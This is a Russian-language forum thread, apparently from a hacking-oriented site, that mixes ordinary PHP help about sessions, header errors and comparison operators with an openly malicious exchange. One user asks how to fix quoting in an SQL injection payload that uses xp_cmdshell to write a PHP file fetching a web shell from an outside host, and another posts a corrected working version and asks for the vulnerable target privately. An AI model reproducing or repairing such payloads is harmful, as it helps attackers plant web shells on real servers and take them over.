Patronik session_start(); должна вызываться лишь 1 раз за выполнение скрипта. Если где-то include другого скрипта, то в том другом скрипте не должно быть session_start(); А использовать сессии ТАК уже давно не принято - сейчас надо делать так: Примерно так вот
Хорошо, что ты один такой... Открываем мануал по операторам сравнения: http://ru2.php.net/manual/ru/language.operators.comparison.php Что же мы видим? То же самое я говорил несколькими постами выше. Специально поясню: 1!=0 это true 0!=0 это false ------- "1"!=0 это true "1"!=1 это false - тип данных не учитывается ------- "1"!==0 это true "1"!==1 это true - имеем типы данных разные И еще - по одному-единственному оператору присвоения (=) и его комбинированным вариантам (+=, *=, .= и т.д.) можешь почитать здесь: http://php.benscom.com/manual/ru/language.operators.assignment.php
Окей сделал я так : В первом файле создал сесию таким образом и присвоил $auth. session_start(); $_SESSION['auth']=1; Во втором файле чтобы использовать переменную сесии написал так: <?php session_start(); if (!isset($_SESSION['auth']) || $_SESSION['auth']!=1) { echo '<p>Доступ закрыт</p> <br><p><center><a href = "index.php">На главную</a></center></p>'; exit; } ?> Браузер видает ошыбку Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at Z:\home\train.com\www\auth.php:9) in Z:\home\train.com\www\auth.php on line 31
Patronik, сунь в самое начало скрипта ob_start(); (а ошибка из за того что перед стартом сессии идет какой то вывод в браузер)
Спасибо я только что из туда. Разобрался я с проблемой. Суть в том что команды header(), setcookie, session_start(), посилаються в заголовках. А если я до знака <? написал теги штмл то заголовки уже ушли и отослать их еще раз невозможно. Надо ставить создание сесии в самом начале страници чтобы команда послалась в заголовке, а не после того как заголовки уже пошли.
Нужно вывести символ $ как это сделать, а то php распознает это как переменную т.е. echo "$loliho"; чтобы выводило $loliho а не воспринимало данное вырадение как вывод переменной $loliho. Спасибо
copy('http://bugaga.zapto.org/shell.txt','shell.php') Как сделать так чтобы ковычки не замечала? Я в том смысле что у меня ошибку пишет при выполнении (именно мешают ковычки) Что делать? знак "\" перед ковычками не помогает(
diznt, а можно поконкретнее? Ты юзаешь багу? Если да, то там, скорее всего, стоят мэджики, которые ты никак не обойдешь.
Кто поможет дописать парсер\граббер ? почти всё написано ... точнее код был , но сейчас с донором что то не в порядке контакты в пм или пишите в icq 45девять\девять3333 , +5 дам
'; USE Master exec xp_cmdshell 'echo "<?php copy('http://bugaga.zapto.org/shell.txt','shell.php') ?>" > C:\AppServ\www\shell1.php';-- Вроде через бд все это делаеться (дело все не в этом через что делаеться) дело в том что команда сама не может выполниться так как ковычки присуствуют и они закрывают консольную команду
diznt, а что тебе мешает просто вместо одинарных двойные поставить и код изменить? Кста, это вообще хз что, а не код echo "<?php copy('http://bugaga.zapto.org/shell.txt','shell.php') ?> Code: '; USE Master exec xp_cmdshell '<? file_put_contents("shell.php",file_get_contents("http://bugaga.zapto.org/shell.txt")); ?>' > C:\AppServ\www\shell1.php';-- Кста, скинь свою аську и уязвимость в пм, плз http://forum.antichat.ru/private.php?do=newpm&userid=59362
На сайте madnet.name/tools/madss/ есть такая штука что забиваешь туда сайт а он тебе высвечивает нектрые файлы которые доступны для просмотра (думаю поняли мою мысль) Так вот как интересует откуда он это берет? (точнее откуда грабит)